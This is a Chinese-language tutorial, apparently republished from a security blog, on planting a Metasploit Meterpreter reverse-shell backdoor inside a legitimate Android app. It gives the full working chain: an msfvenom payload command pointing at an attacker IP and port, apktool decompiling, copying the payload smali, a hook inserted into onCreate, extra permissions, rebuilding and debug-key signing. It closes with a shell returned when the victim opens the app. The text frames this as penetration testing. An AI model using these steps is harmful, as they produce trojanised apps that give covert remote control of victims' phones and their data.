实用教程:手动安卓应用中注入msf后门

本文讲的是 实用教程:手动安卓应用中注入msf后门在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常。这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉。


步骤一:生成攻击载荷

metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk。
使用如下命令:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes

步骤二:逆向apk文件

首先,要对目标文件以及刚刚生成的apk文件进行反编译。使用的工具为众所周知的apktool。下面命令会将apk反编译,然后将反编译出来的代码保存到一个后缀名为smail的文件中:

java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

步骤三:放置后门文件

将从产生的apk中后门文件放到目标文件中,具体内容以及方式如下:

/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage

步骤四:注入hook

我们必须检测安卓应用程序清单文件,这样可以确定在打开安卓应用程序时进行了那些活动。进而确定我们的后门程序会不会执行:

将下图中的主函数中的代码内容用后门代码替换:

;->onCreate(Landroid/os/Bundle;)V

以下代码会在程序启动时,执行后门,以及启动应用程序:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

步骤五:给予应用程序权限

为了使我们的后门能够更有效的工作,需要给予安卓应用程序应有的权限。可以将这些额外的权限添加到安卓清单文件中,这样的话,如果用户同意,这个应用程序就会给予后门应有的权限。

步骤六:编译应用程序

现在我们已经将后门以及权限设置注入到目标应用程序当中,我们要对源代码进行编译,同样使用apktool。

java -jar apktool.jar b /root/Downloads/original/

步骤七:对apk进行签名

如果apk为签名,那么apk将不能在手机中安装。默认的安装的调试签名可以在这使用:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey

当用户安装并且打开存在后门的应用程序时,我们就会得到meterpreter返回的会话:




原文发布时间为:2017年6月30日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

你可能感兴趣的:(移动开发,java)